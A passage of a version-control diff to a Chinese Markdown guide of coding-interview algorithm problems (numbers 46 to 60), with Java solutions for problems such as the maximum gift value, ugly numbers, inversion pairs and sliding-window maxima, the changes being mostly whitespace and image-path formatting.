-        int two = Integer.valueOf(s.substring(i - 2, i));
-        if (two <= 26)
-            dp[i] += dp[i - 2];
-    }
-    return dp[n];
+public int numDecodings(String s) {
+    if (s == null || s.length() == 0)
+        return 0;
+    int n = s.length();
+    int[] dp = new int[n + 1];
+    dp[0] = 1;
+    dp[1] = s.charAt(0) == '0' ? 0 : 1;
+    for (int i = 2; i <= n; i++) {
+        int one = Integer.valueOf(s.substring(i - 1, i));
+        if (one != 0)
+            dp[i] += dp[i - 1];
+        if (s.charAt(i - 2) == '0')
+            continue;
+        int two = Integer.valueOf(s.substring(i - 2, i));
+        if (two <= 26)
+            dp[i] += dp[i - 2];
+    }
+    return dp[n];
 }
 ```
 
-# 47. 礼物的最大价值
+# 47. 礼物的最大价值
 
 [NowCoder](https://www.nowcoder.com/questionTerminal/72a99e28381a407991f2c96d8cb238ab)
 
-## 题目描述
+## 题目描述
 
-在一个 m\*n 的棋盘的每一个格都放有一个礼物，每个礼物都有一定价值（大于 0）。从左上角开始拿礼物，每次向右或向下移动一格，直到右下角结束。给定一个棋盘，求拿到礼物的最大价值。例如，对于如下棋盘
+在一个 m\*n 的棋盘的每一个格都放有一个礼物，每个礼物都有一定价值（大于 0）。从左上角开始拿礼物，每次向右或向下移动一格，直到右下角结束。给定一个棋盘，求拿到礼物的最大价值。例如，对于如下棋盘
 
 ```
-1    10   3    8
-12   2    9    6
-5    7    4    11
-3    7    16   5
+1    10   3    8
+12   2    9    6
+5    7    4    11
+3    7    16   5
 ```
 
-礼物的最大价值为 1+12+5+7+7+16+5=53。
+礼物的最大价值为 1+12+5+7+7+16+5=53。
 
-## 解题思路
+## 解题思路
 
 应该用动态规划求解，而不是深度优先搜索，深度优先搜索过于复杂，不是最优解。
 
 ```java
-public int getMost(int[][] values) {
-    if (values == null || values.length == 0 || values[0].length == 0)
-        return 0;
-    int n = values[0].length;
-    int[] dp = new int[n];
-    for (int[] value : values) {
-        dp[0] += value[0];
-        for (int i = 1; i < n; i++)
-            dp[i] = Math.max(dp[i], dp[i - 1]) + value[i];
-    }
-    return dp[n - 1];
+public int getMost(int[][] values) {
+    if (values == null || values.length == 0 || values[0].length == 0)
+        return 0;
+    int n = values[0].length;
+    int[] dp = new int[n];
+    for (int[] value : values) {
+        dp[0] += value[0];
+        for (int i = 1; i < n; i++)
+            dp[i] = Math.max(dp[i], dp[i - 1]) + value[i];
+    }
+    return dp[n - 1];
 }
 ```
 
-# 48. 最长不含重复字符的子字符串
+# 48. 最长不含重复字符的子字符串
 
-## 题目描述
+## 题目描述
 
-输入一个字符串（只包含 a\~z 的字符），求其最长不含重复字符的子字符串的长度。例如对于 arabcacfr，最长不含重复字符的子字符串为 acfr，长度为 4。
+输入一个字符串（只包含 a~z 的字符），求其最长不含重复字符的子字符串的长度。例如对于 arabcacfr，最长不含重复字符的子字符串为 acfr，长度为 4。
 
-## 解题思路
+## 解题思路
 
 ```java
-public int longestSubStringWithoutDuplication(String str) {
-    int curLen = 0;
-    int maxLen = 0;
-    int[] preIndexs = new int[26];
-    Arrays.fill(preIndexs, -1);
-    for (int curI = 0; curI < str.length(); curI++) {
-        int c = str.charAt(curI) - 'a';
-        int preI = preIndexs[c];
-        if (preI == -1 || curI - preI > curLen) {
-            curLen++;
-        } else {
-            maxLen = Math.max(maxLen, curLen);
-            curLen = curI - preI;
-        }
-        preIndexs[c] = curI;
-    }
-    maxLen = Math.max(maxLen, curLen);
-    return maxLen;
+public int longestSubStringWithoutDuplication(String str) {
+    int curLen = 0;
+    int maxLen = 0;
+    int[] preIndexs = new int[26];
+    Arrays.fill(preIndexs, -1);
+    for (int curI = 0; curI < str.length(); curI++) {
+        int c = str.charAt(curI) - 'a';
+        int preI = preIndexs[c];
+        if (preI == -1 || curI - preI > curLen) {
+            curLen++;
+        } else {
+            maxLen = Math.max(maxLen, curLen);
+            curLen = curI - preI;
+        }
+        preIndexs[c] = curI;
+    }
+    maxLen = Math.max(maxLen, curLen);
+    return maxLen;
 }
 ```
 
-# 49. 丑数
+# 49. 丑数
 
 [NowCoder](https://www.nowcoder.com/practice/6aa9e04fc3794f68acf8778237ba065b?tpId=13&tqId=11186&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking)
 
-## 题目描述
+## 题目描述
 
-把只包含因子 2、3 和 5 的数称作丑数（Ugly Number）。例如 6、8 都是丑数，但 14 不是，因为它包含因子 7。习惯上我们把 1 当做是第一个丑数。求按从小到大的顺序的第 N 个丑数。
+把只包含因子 2、3 和 5 的数称作丑数（Ugly Number）。例如 6、8 都是丑数，但 14 不是，因为它包含因子 7。习惯上我们把 1 当做是第一个丑数。求按从小到大的顺序的第 N 个丑数。
 
-## 解题思路
+## 解题思路
 
 ```java
-public int GetUglyNumber_Solution(int N) {
-    if (N <= 6)
-        return N;
-    int i2 = 0, i3 = 0, i5 = 0;
-    int[] dp = new int[N];
-    dp[0] = 1;
-    for (int i = 1; i < N; i++) {
-        int next2 = dp[i2] * 2, next3 = dp[i3] * 3, next5 = dp[i5] * 5;
-        dp[i] = Math.min(next2, Math.min(next3, next5));
-        if (dp[i] == next2)
-            i2++;
-        if (dp[i] == next3)
-            i3++;
-        if (dp[i] == next5)
-            i5++;
-    }
-    return dp[N - 1];
+public int GetUglyNumber_Solution(int N) {
+    if (N <= 6)
+        return N;
+    int i2 = 0, i3 = 0, i5 = 0;
+    int[] dp = new int[N];
+    dp[0] = 1;
+    for (int i = 1; i < N; i++) {
+        int next2 = dp[i2] * 2, next3 = dp[i3] * 3, next5 = dp[i5] * 5;
+        dp[i] = Math.min(next2, Math.min(next3, next5));
+        if (dp[i] == next2)
+            i2++;
+        if (dp[i] == next3)
+            i3++;
+        if (dp[i] == next5)
+            i5++;
+    }
+    return dp[N - 1];
 }
 ```
 
-# 50. 第一个只出现一次的字符位置
+# 50. 第一个只出现一次的字符位置
 
 [NowCoder](https://www.nowcoder.com/practice/1c82e8cf713b4bbeb2a5b31cf5b0417c?tpId=13&tqId=11187&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking)
 
-## 题目描述
+## 题目描述
 
 在一个字符串中找到第一个只出现一次的字符，并返回它的位置。
 
-## 解题思路
+## 解题思路
 
-最直观的解法是使用 HashMap 对出现次数进行统计，但是考虑到要统计的字符范围有限，因此可以使用整型数组代替 HashMap。
+最直观的解法是使用 HashMap 对出现次数进行统计，但是考虑到要统计的字符范围有限，因此可以使用整型数组代替 HashMap。
 
 ```java
-public int FirstNotRepeatingChar(String str) {
-    int[] cnts = new int[256];
-    for (int i = 0; i < str.length(); i++)
-        cnts[str.charAt(i)]++;
-    for (int i = 0; i < str.length(); i++)
-        if (cnts[str.charAt(i)] == 1)
-            return i;
-    return -1;
+public int FirstNotRepeatingChar(String str) {
+    int[] cnts = new int[256];
+    for (int i = 0; i < str.length(); i++)
+        cnts[str.charAt(i)]++;
+    for (int i = 0; i < str.length(); i++)
+        if (cnts[str.charAt(i)] == 1)
+            return i;
+    return -1;
 }
 ```
 
-以上实现的空间复杂度还不是最优的。考虑到只需要找到只出现一次的字符，那么需要统计的次数信息只有 0,1,更大，使用两个比特位就能存储这些信息。
+以上实现的空间复杂度还不是最优的。考虑到只需要找到只出现一次的字符，那么需要统计的次数信息只有 0,1,更大，使用两个比特位就能存储这些信息。
 
 ```java
-public int FirstNotRepeatingChar2(String str) {
-    BitSet bs1 = new BitSet(256);
-    BitSet bs2 = new BitSet(256);
-    for (char c : str.toCharArray()) {
-        if (!bs1.get(c) && !bs2.get(c))
-            bs1.set(c);     // 0 0 -> 0 1
-        else if (bs1.get(c) && !bs2.get(c))
-            bs2.set(c);     // 0 1 -> 1 1
-    }
-    for (int i = 0; i < str.length(); i++) {
-        char c = str.charAt(i);
-        if (bs1.get(c) && !bs2.get(c))  // 0 1
-            return i;
-    }
-    return -1;
+public int FirstNotRepeatingChar2(String str) {
+    BitSet bs1 = new BitSet(256);
+    BitSet bs2 = new BitSet(256);
+    for (char c : str.toCharArray()) {
+        if (!bs1.get(c) && !bs2.get(c))
+            bs1.set(c);     // 0 0 -> 0 1
+        else if (bs1.get(c) && !bs2.get(c))
+            bs2.set(c);     // 0 1 -> 1 1
+    }
+    for (int i = 0; i < str.length(); i++) {
+        char c = str.charAt(i);
+        if (bs1.get(c) && !bs2.get(c))  // 0 1
+            return i;
+    }
+    return -1;
 }
 ```
 
-# 51. 数组中的逆序对
+# 51. 数组中的逆序对
 
 [NowCoder](https://www.nowcoder.com/practice/96bd6684e04a44eb80e6a68efc0ec6c5?tpId=13&tqId=11188&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking)
 
-## 题目描述
+## 题目描述
 
 在数组中的两个数字，如果前面一个数字大于后面的数字，则这两个数字组成一个逆序对。输入一个数组，求出这个数组中的逆序对的总数。
 
-## 解题思路
+## 解题思路
 
 ```java
-private long cnt = 0;
-private int[] tmp;  // 在这里声明辅助数组，而不是在 merge() 递归函数中声明
+private long cnt = 0;
+private int[] tmp;  // 在这里声明辅助数组，而不是在 merge() 递归函数中声明
 
-public int InversePairs(int[] nums) {
-    tmp = new int[nums.length];
-    mergeSort(nums, 0, nums.length - 1);
-    return (int) (cnt % 1000000007);
+public int InversePairs(int[] nums) {
+    tmp = new int[nums.length];
+    mergeSort(nums, 0, nums.length - 1);
+    return (int) (cnt % 1000000007);
 }
 
-private void mergeSort(int[] nums, int l, int h) {
-    if (h - l < 1)
-        return;
-    int m = l + (h - l) / 2;
-    mergeSort(nums, l, m);
-    mergeSort(nums, m + 1, h);
-    merge(nums, l, m, h);
+private void mergeSort(int[] nums, int l, int h) {
+    if (h - l < 1)
+        return;
+    int m = l + (h - l) / 2;
+    mergeSort(nums, l, m);
+    mergeSort(nums, m + 1, h);
+    merge(nums, l, m, h);
 }
 
-private void merge(int[] nums, int l, int m, int h) {
-    int i = l, j = m + 1, k = l;
-    while (i <= m || j <= h) {
-        if (i > m)
-            tmp[k] = nums[j++];
-        else if (j > h)
-            tmp[k] = nums[i++];
-        else if (nums[i] < nums[j])
-            tmp[k] = nums[i++];
-        else {
-            tmp[k] = nums[j++];
-            this.cnt += m - i + 1;  // nums[i] >= nums[j]，说明 nums[i...mid] 都大于 nums[j]
-        }
-        k++;
-    }
-    for (k = l; k <= h; k++)
-        nums[k] = tmp[k];
+private void merge(int[] nums, int l, int m, int h) {
+    int i = l, j = m + 1, k = l;
+    while (i <= m || j <= h) {
+        if (i > m)
+            tmp[k] = nums[j++];
+        else if (j > h)
+            tmp[k] = nums[i++];
+        else if (nums[i] < nums[j])
+            tmp[k] = nums[i++];
+        else {
+            tmp[k] = nums[j++];
+            this.cnt += m - i + 1;  // nums[i] >= nums[j]，说明 nums[i...mid] 都大于 nums[j]
+        }
+        k++;
+    }
+    for (k = l; k <= h; k++)
+        nums[k] = tmp[k];
 }
 ```
 
-# 52. 两个链表的第一个公共结点
+# 52. 两个链表的第一个公共结点
 
 [NowCoder](https://www.nowcoder.com/practice/6ab1d9a29e88450685099d45c9e31e46?tpId=13&tqId=11189&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking)
 
-## 题目描述
+## 题目描述
 
-<div align="center"> <img src="pics/8f6f9dc9-9ecd-47c8-b50e-2814f0219056.png" width="500"/> </div><br>
+<img src="index_files/8f6f9dc9-9ecd-47c8-b50e-2814f0219056.png" width="500"/>
 
-## 解题思路
+## 解题思路
 
-设 A 的长度为 a + c，B 的长度为 b + c，其中 c 为尾部公共部分长度，可知 a + c + b = b + c + a。
+设 A 的长度为 a + c，B 的长度为 b + c，其中 c 为尾部公共部分长度，可知 a + c + b = b + c + a。
 
-当访问链表 A 的指针访问到链表尾部时，令它从链表 B 的头部重新开始访问链表 B；同样地，当访问链表 B 的指针访问到链表尾部时，令它从链表 A 的头部重新开始访问链表 A。这样就能控制访问 A 和 B 两个链表的指针能同时访问到交点。
+当访问链表 A 的指针访问到链表尾部时，令它从链表 B 的头部重新开始访问链表 B；同样地，当访问链表 B 的指针访问到链表尾部时，令它从链表 A 的头部重新开始访问链表 A。这样就能控制访问 A 和 B 两个链表的指针能同时访问到交点。
 
 ```java
-public ListNode FindFirstCommonNode(ListNode pHead1, ListNode pHead2) {
-    ListNode l1 = pHead1, l2 = pHead2;
-    while (l1 != l2) {
-        l1 = (l1 == null) ? pHead2 : l1.next;
-        l2 = (l2 == null) ? pHead1 : l2.next;
-    }
-    return l1;
+public ListNode FindFirstCommonNode(ListNode pHead1, ListNode pHead2) {
+    ListNode l1 = pHead1, l2 = pHead2;
+    while (l1 != l2) {
+        l1 = (l1 == null) ? pHead2 : l1.next;
+        l2 = (l2 == null) ? pHead1 : l2.next;
+    }
+    return l1;
 }
 ```
 
-# 53. 数字在排序数组中出现的次数
+# 53. 数字在排序数组中出现的次数
 
 [NowCoder](https://www.nowcoder.com/practice/70610bf967994b22bb1c26f9ae901fa2?tpId=13&tqId=11190&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking)
 
-## 题目描述
+## 题目描述
 
 ```html
 Input:
-nums = 1, 2, 3, 3, 3, 3, 4, 6
-K = 3
+nums = 1, 2, 3, 3, 3, 3, 4, 6
+K = 3
 
 Output:
 4
 ```
 
-## 解题思路
+## 解题思路
 
 ```java
-public int GetNumberOfK(int[] nums, int K) {
-    int first = binarySearch(nums, K);
-    int last = binarySearch(nums, K + 1);
-    return (first == nums.length || nums[first] != K) ? 0 : last - first;
+public int GetNumberOfK(int[] nums, int K) {
+    int first = binarySearch(nums, K);
+    int last = binarySearch(nums, K + 1);
+    return (first == nums.length || nums[first] != K) ? 0 : last - first;
 }
 
-private int binarySearch(int[] nums, int K) {
-    int l = 0, h = nums.length;
-    while (l < h) {
-        int m = l + (h - l) / 2;
-        if (nums[m] >= K)
-            h = m;
-        else
-            l = m + 1;
-    }
-    return l;
+private int binarySearch(int[] nums, int K) {
+    int l = 0, h = nums.length;
+    while (l < h) {
+        int m = l + (h - l) / 2;
+        if (nums[m] >= K)
+            h = m;
+        else
+            l = m + 1;
+    }
+    return l;
 }
 ```
 
-# 54. 二叉查找树的第 K 个结点
+# 54. 二叉查找树的第 K 个结点
 
 [NowCoder](https://www.nowcoder.com/practice/ef068f602dde4d28aab2b210e859150a?tpId=13&tqId=11215&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking)
 
-## 解题思路
+## 解题思路
 
 利用二叉查找树中序遍历有序的特点。
 
 ```java
-private TreeNode ret;
-private int cnt = 0;
+private TreeNode ret;
+private int cnt = 0;
 
-public TreeNode KthNode(TreeNode pRoot, int k) {
-    inOrder(pRoot, k);
-    return ret;
+public TreeNode KthNode(TreeNode pRoot, int k) {
+    inOrder(pRoot, k);
+    return ret;
 }
 
-private void inOrder(TreeNode root, int k) {
-    if (root == null || cnt >= k)
-        return;
-    inOrder(root.left, k);
-    cnt++;
-    if (cnt == k)
-        ret = root;
-    inOrder(root.right, k);
+private void inOrder(TreeNode root, int k) {
+    if (root == null || cnt >= k)
+        return;
+    inOrder(root.left, k);
+    cnt++;
+    if (cnt == k)
+        ret = root;
+    inOrder(root.right, k);
 }
 ```
 
-# 55.1 二叉树的深度
+# 55.1 二叉树的深度
 
 [NowCoder](https://www.nowcoder.com/practice/435fb86331474282a3499955f0a41e8b?tpId=13&tqId=11191&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking)
 
-## 题目描述
+## 题目描述
 
 从根结点到叶结点依次经过的结点（含根、叶结点）形成树的一条路径，最长路径的长度为树的深度。
 
-<div align="center"> <img src="pics/b29f8971-9cb8-480d-b986-0e60c2ece069.png" width="350"/> </div><br>
+<img src="index_files/b29f8971-9cb8-480d-b986-0e60c2ece069.png" width="350"/>
 
-## 解题思路
+## 解题思路
 
 ```java
-public int TreeDepth(TreeNode root) {
-    return root == null ? 0 : 1 + Math.max(TreeDepth(root.left), TreeDepth(root.right));
+public int TreeDepth(TreeNode root) {
+    return root == null ? 0 : 1 + Math.max(TreeDepth(root.left), TreeDepth(root.right));
 }
 ```
 
-# 55.2 平衡二叉树
+# 55.2 平衡二叉树
 
 [NowCoder](https://www.nowcoder.com/practice/8b3b95850edb4115918ecebdf1b4d222?tpId=13&tqId=11192&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking)
 
-## 题目描述
+## 题目描述
 
-平衡二叉树左右子树高度差不超过 1。
+平衡二叉树左右子树高度差不超过 1。
 
-<div align="center"> <img src="pics/e026c24d-00fa-4e7c-97a8-95a98cdc383a.png" width="300"/> </div><br>
+<img src="index_files/e026c24d-00fa-4e7c-97a8-95a98cdc383a.png" width="300"/>
 
-## 解题思路
+## 解题思路
 
 ```java
-private boolean isBalanced = true;
+private boolean isBalanced = true;
 
-public boolean IsBalanced_Solution(TreeNode root) {
-    height(root);
-    return isBalanced;
+public boolean IsBalanced_Solution(TreeNode root) {
+    height(root);
+    return isBalanced;
 }
 
-private int height(TreeNode root) {
-    if (root == null || !isBalanced)
-        return 0;
-    int left = height(root.left);
-    int right = height(root.right);
-    if (Math.abs(left - right) > 1)
-        isBalanced = false;
-    return 1 + Math.max(left, right);
+private int height(TreeNode root) {
+    if (root == null || !isBalanced)
+        return 0;
+    int left = height(root.left);
+    int right = height(root.right);
+    if (Math.abs(left - right) > 1)
+        isBalanced = false;
+    return 1 + Math.max(left, right);
 }
 ```
 
-# 56. 数组中只出现一次的数字
+# 56. 数组中只出现一次的数字
 
 [NowCoder](https://www.nowcoder.com/practice/e02fdb54d7524710a7d664d082bb7811?tpId=13&tqId=11193&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking)
 
-## 题目描述
+## 题目描述
 
 一个整型数组里除了两个数字之外，其他的数字都出现了两次，找出这两个数。
 
-## 解题思路
+## 解题思路
 
 两个不相等的元素在位级表示上必定会有一位存在不同，将数组的所有元素异或得到的结果为不存在重复的两个元素异或的结果。
 
-diff &= -diff 得到出 diff 最右侧不为 0 的位，也就是不存在重复的两个元素在位级表示上最右侧不同的那一位，利用这一位就可以将两个元素区分开来。
+diff &= -diff 得到出 diff 最右侧不为 0 的位，也就是不存在重复的两个元素在位级表示上最右侧不同的那一位，利用这一位就可以将两个元素区分开来。
 
 ```java
-public void FindNumsAppearOnce(int[] nums, int num1[], int num2[]) {
-    int diff = 0;
-    for (int num : nums)
-        diff ^= num;
-    diff &= -diff;
-    for (int num : nums) {
-        if ((num & diff) == 0)
-            num1[0] ^= num;
-        else
-            num2[0] ^= num;
-    }
+public void FindNumsAppearOnce(int[] nums, int num1[], int num2[]) {
+    int diff = 0;
+    for (int num : nums)
+        diff ^= num;
+    diff &= -diff;
+    for (int num : nums) {
+        if ((num & diff) == 0)
+            num1[0] ^= num;
+        else
+            num2[0] ^= num;
+    }
 }
 ```
 
-# 57.1 和为 S 的两个数字
+# 57.1 和为 S 的两个数字
 
 [NowCoder](https://www.nowcoder.com/practice/390da4f7a00f44bea7c2f3d19491311b?tpId=13&tqId=11195&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking)
 
-## 题目描述
+## 题目描述
 
-输入一个递增排序的数组和一个数字 S，在数组中查找两个数，使得他们的和正好是 S。如果有多对数字的和等于 S，输出两个数的乘积最小的。
+输入一个递增排序的数组和一个数字 S，在数组中查找两个数，使得他们的和正好是 S。如果有多对数字的和等于 S，输出两个数的乘积最小的。
 
-## 解题思路
+## 解题思路
 
 使用双指针，一个指针指向元素较小的值，一个指针指向元素较大的值。指向较小元素的指针从头向尾遍历，指向较大元素的指针从尾向头遍历。
 
-- 如果两个指针指向元素的和 sum == target，那么得到要求的结果；
-- 如果 sum > target，移动较大的元素，使 sum 变小一些；
-- 如果 sum < target，移动较小的元素，使 sum 变大一些。
+- 如果两个指针指向元素的和 sum == target，那么得到要求的结果；
+- 如果 sum > target，移动较大的元素，使 sum 变小一些；
+- 如果 sum < target，移动较小的元素，使 sum 变大一些。
 
 ```java
-public ArrayList<Integer> FindNumbersWithSum(int[] array, int sum) {
-    int i = 0, j = array.length - 1;
-    while (i < j) {
-        int cur = array[i] + array[j];
-        if (cur == sum)
-            return new ArrayList<>(Arrays.asList(array[i], array[j]));
-        if (cur < sum)
-            i++;
-        else
-            j--;
-    }
-    return new ArrayList<>();
+public ArrayList<Integer> FindNumbersWithSum(int[] array, int sum) {
+    int i = 0, j = array.length - 1;
+    while (i < j) {
+        int cur = array[i] + array[j];
+        if (cur == sum)
+            return new ArrayList<>(Arrays.asList(array[i], array[j]));
+        if (cur < sum)
+            i++;
+        else
+            j--;
+    }
+    return new ArrayList<>();
 }
 ```
 
-# 57.2 和为 S 的连续正数序列
+# 57.2 和为 S 的连续正数序列
 
 [NowCoder](https://www.nowcoder.com/practice/c451a3fd84b64cb19485dad758a55ebe?tpId=13&tqId=11194&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking)
 
-## 题目描述
+## 题目描述
 
-输出所有和为 S 的连续正数序列。
+输出所有和为 S 的连续正数序列。
 
-例如和为 100 的连续序列有：
+例如和为 100 的连续序列有：
 
 ```
-[9, 10, 11, 12, 13, 14, 15, 16]
-[18, 19, 20, 21, 22]。
+[9, 10, 11, 12, 13, 14, 15, 16]
+[18, 19, 20, 21, 22]。
 ```
 
-## 解题思路
+## 解题思路
 
 ```java
-public ArrayList<ArrayList<Integer>> FindContinuousSequence(int sum) {
-    ArrayList<ArrayList<Integer>> ret = new ArrayList<>();
-    int start = 1, end = 2;
-    int curSum = 3;
-    while (end < sum) {
-        if (curSum > sum) {
-            curSum -= start;
-            start++;
-        } else if (curSum < sum) {
-            end++;
-            curSum += end;
-        } else {
-            ArrayList<Integer> list = new ArrayList<>();
-            for (int i = start; i <= end; i++)
-                list.add(i);
-            ret.add(list);
-            curSum -= start;
-            start++;
-            end++;
-            curSum += end;
-        }
-    }
-    return ret;
+public ArrayList<ArrayList<Integer>> FindContinuousSequence(int sum) {
+    ArrayList<ArrayList<Integer>> ret = new ArrayList<>();
+    int start = 1, end = 2;
+    int curSum = 3;
+    while (end < sum) {
+        if (curSum > sum) {
+            curSum -= start;
+            start++;
+        } else if (curSum < sum) {
+            end++;
+            curSum += end;
+        } else {
+            ArrayList<Integer> list = new ArrayList<>();
+            for (int i = start; i <= end; i++)
+                list.add(i);
+            ret.add(list);
+            curSum -= start;
+            start++;
+            end++;
+            curSum += end;
+        }
+    }
+    return ret;
 }
 ```
 
-# 58.1 翻转单词顺序列
+# 58.1 翻转单词顺序列
 
 [NowCoder](https://www.nowcoder.com/practice/3194a4f4cf814f63919d0790578d51f3?tpId=13&tqId=11197&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking)
 
-## 题目描述
+## 题目描述
 
 ```html
 Input:
-"I am a student."
+"I am a student."
 
 Output:
-"student. a am I"
+"student. a am I"
 ```
 
-## 解题思路
+## 解题思路
 
-题目应该有一个隐含条件，就是不能用额外的空间。虽然 Java 的题目输入参数为 String 类型，需要先创建一个字符数组使得空间复杂度为 O(N)，但是正确的参数类型应该和原书一样，为字符数组，并且只能使用该字符数组的空间。任何使用了额外空间的解法在面试时都会大打折扣，包括递归解法。
+题目应该有一个隐含条件，就是不能用额外的空间。虽然 Java 的题目输入参数为 String 类型，需要先创建一个字符数组使得空间复杂度为 O(N)，但是正确的参数类型应该和原书一样，为字符数组，并且只能使用该字符数组的空间。任何使用了额外空间的解法在面试时都会大打折扣，包括递归解法。
 
 正确的解法应该是和书上一样，先旋转每个单词，再旋转整个字符串。
 
 ```java
-public String ReverseSentence(String str) {
-    int n = str.length();
-    char[] chars = str.toCharArray();
-    int i = 0, j = 0;
-    while (j <= n) {
-        if (j == n || chars[j] == ' ') {
-            reverse(chars, i, j - 1);
-            i = j + 1;
-        }
-        j++;
-    }
-    reverse(chars, 0, n - 1);
-    return new String(chars);
+public String ReverseSentence(String str) {
+    int n = str.length();
+    char[] chars = str.toCharArray();
+    int i = 0, j = 0;
+    while (j <= n) {
+        if (j == n || chars[j] == ' ') {
+            reverse(chars, i, j - 1);
+            i = j + 1;
+        }
+        j++;
+    }
+    reverse(chars, 0, n - 1);
+    return new String(chars);
 }
 
-private void reverse(char[] c, int i, int j) {
-    while (i < j)
-        swap(c, i++, j--);
+private void reverse(char[] c, int i, int j) {
+    while (i < j)
+        swap(c, i++, j--);
 }
 
-private void swap(char[] c, int i, int j) {
-    char t = c[i];
-    c[i] = c[j];
-    c[j] = t;
+private void swap(char[] c, int i, int j) {
+    char t = c[i];
+    c[i] = c[j];
+    c[j] = t;
 }
 ```
 
-# 58.2 左旋转字符串
+# 58.2 左旋转字符串
 
 [NowCoder](https://www.nowcoder.com/practice/12d959b108cb42b1ab72cef4d36af5ec?tpId=13&tqId=11196&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking)
 
-## 题目描述
+## 题目描述
 
 ```html
 Input:
@@ -2669,290 +2584,290 @@ Output:
 "XYZdefabc"
 ```
 
-## 解题思路
+## 解题思路
 
-先将 "abc" 和 "XYZdef" 分别翻转，得到 "cbafedZYX"，然后再把整个字符串翻转得到 "XYZdefabc"。
+先将 "abc" 和 "XYZdef" 分别翻转，得到 "cbafedZYX"，然后再把整个字符串翻转得到 "XYZdefabc"。
 
 ```java
-public String LeftRotateString(String str, int n) {
-    if (n >= str.length())
-        return str;
-    char[] chars = str.toCharArray();
-    reverse(chars, 0, n - 1);
-    reverse(chars, n, chars.length - 1);
-    reverse(chars, 0, chars.length - 1);
-    return new String(chars);
+public String LeftRotateString(String str, int n) {
+    if (n >= str.length())
+        return str;
+    char[] chars = str.toCharArray();
+    reverse(chars, 0, n - 1);
+    reverse(chars, n, chars.length - 1);
+    reverse(chars, 0, chars.length - 1);
+    return new String(chars);
 }
 
-private void reverse(char[] chars, int i, int j) {
-    while (i < j)
-        swap(chars, i++, j--);
+private void reverse(char[] chars, int i, int j) {
+    while (i < j)
+        swap(chars, i++, j--);
 }
 
-private void swap(char[] chars, int i, int j) {
-    char t = chars[i];
-    chars[i] = chars[j];
-    chars[j] = t;
+private void swap(char[] chars, int i, int j) {
+    char t = chars[i];
+    chars[i] = chars[j];
+    chars[j] = t;
 }
 ```
 
-# 59. 滑动窗口的最大值
+# 59. 滑动窗口的最大值
 
 [NowCoder](https://www.nowcoder.com/practice/1624bc35a45c42c0bc17d17fa0cba788?tpId=13&tqId=11217&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking)
 
-## 题目描述
+## 题目描述
 
 给定一个数组和滑动窗口的大小，找出所有滑动窗口里数值的最大值。
 
-例如，如果输入数组 {2, 3, 4, 2, 6, 2, 5, 1} 及滑动窗口的大小 3，那么一共存在 6 个滑动窗口，他们的最大值分别为 {4, 4, 6, 6, 6, 5}。
+例如，如果输入数组 {2, 3, 4, 2, 6, 2, 5, 1} 及滑动窗口的大小 3，那么一共存在 6 个滑动窗口，他们的最大值分别为 {4, 4, 6, 6, 6, 5}。
 
-## 解题思路
+## 解题思路
 
 ```java
-public ArrayList<Integer> maxInWindows(int[] num, int size) {
-    ArrayList<Integer> ret = new ArrayList<>();
-    if (size > num.length || size < 1)
-        return ret;
-    PriorityQueue<Integer> heap = new PriorityQueue<>((o1, o2) -> o2 - o1);  /* 大顶堆 */
-    for (int i = 0; i < size; i++)
-        heap.add(num[i]);
-    ret.add(heap.peek());
-    for (int i = 0, j = i + size; j < num.length; i++, j++) {            /* 维护一个大小为 size 的大顶堆 */
-        heap.remove(num[i]);
-        heap.add(num[j]);
-        ret.add(heap.peek());
-    }
-    return ret;
+public ArrayList<Integer> maxInWindows(int[] num, int size) {
+    ArrayList<Integer> ret = new ArrayList<>();
+    if (size > num.length || size < 1)
+        return ret;
+    PriorityQueue<Integer> heap = new PriorityQueue<>((o1, o2) -> o2 - o1);  /* 大顶堆 */
+    for (int i = 0; i < size; i++)
+        heap.add(num[i]);
+    ret.add(heap.peek());
+    for (int i = 0, j = i + size; j < num.length; i++, j++) {            /* 维护一个大小为 size 的大顶堆 */
+        heap.remove(num[i]);
+        heap.add(num[j]);
+        ret.add(heap.peek());
+    }
+    return ret;
 }
 ```
 
-# 60. n 个骰子的点数
+# 60. n 个骰子的点数
 
 [Lintcode](https://www.lintcode.com/en/problem/dices-sum/)
 
-## 题目描述
+## 题目描述
 
-把 n 个骰子仍在地上，求点数和为 s 的概率。
+把 n 个骰子仍在地上，求点数和为 s 的概率。
 
-## 解题思路
+## 解题思路
 
-### 动态规划解法
+### 动态规划解法
 
-使用一个二维数组 dp 存储点数出现的次数，其中 dp[i][j] 表示前 i 个骰子产生点数 j 的次数。
+使用一个二维数组 dp 存储点数出现的次数，其中 dp[i][j] 表示前 i 个骰子产生点数 j 的次数。
 
 空间复杂度：O(N<sup>2</sup>)
 
 ```java
-public List<Map.Entry<Integer, Double>> dicesSum(int n) {
-    final int face = 6;
-    final int pointNum = face * n;
-    long[][] dp = new long[n + 1][pointNum + 1];
+public List<Map.Entry<Integer, Double>> dicesSum(int n) {
+    final int face = 6;
+    final int pointNum = face * n;
+    long[][] dp = new long[n + 1][pointNum + 1];
 
-    for (int i = 1; i <= face; i++)
-        dp[1][i] = 1;
+    for (int i = 1; i <= face; i++)
+        dp[1][i] = 1;
 
-    for (int i = 2; i <= n; i++)
-        for (int j = i; j <= pointNum; j++)     /* 使用 i 个骰子最小点数为 i */
-            for (int k = 1; k <= face && k <= j; k++)
-                dp[i][j] += dp[i - 1][j - k];
+    for (int i = 2; i <= n; i++)
